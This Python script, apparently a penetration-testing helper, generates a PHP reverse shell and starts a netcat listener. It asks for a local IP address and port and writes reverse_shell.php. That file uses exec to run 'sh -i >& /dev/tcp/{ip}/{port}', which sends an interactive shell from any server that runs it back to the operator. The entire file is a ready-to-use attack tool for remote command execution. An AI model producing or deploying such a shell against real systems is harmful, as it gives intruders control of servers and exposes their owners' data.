php_reverse_shell.py

'''importing required modules'''
import ipaddress
from os import getcwd
import subprocess

def reverse_shell():
    '''function that creates a PHP reverse shell and a netcat listener'''
    while True:
        try:
            ip = input('Enter your local ip-address: ')
            ipaddress.ip_address(ip)
            break
        except ValueError:
            print('Error: Not a valid ip-address.')

    while True:
        try:
            port = int(input('Enter a local port number: '))
            if 0 <= port <= 65535:
                break
            print('Error: Port number must be between 0 and 65535.')
        except ValueError:
            print('Error: Not a valid number.')

    with open(f'{getcwd()}/reverse_shell.php', mode='w', encoding='utf-8') as php_shell:
        php_shell.write(f'''<?php
exec("/bin/bash -c 'sh -i >& /dev/tcp/{ip}/{port} 0>&1'");''')
        print('Successfully created reverse_shell.php!')
        print(f'Starting netcat listener on port: {port}')

    try:
        # starting netcat on user-defined port
        subprocess.run(['nc', '-l', '-n', '-v', '-p', str(port)], check=True)
    except subprocess.CalledProcessError as e:
        print(f"Error: Starting netcat listener: {e}")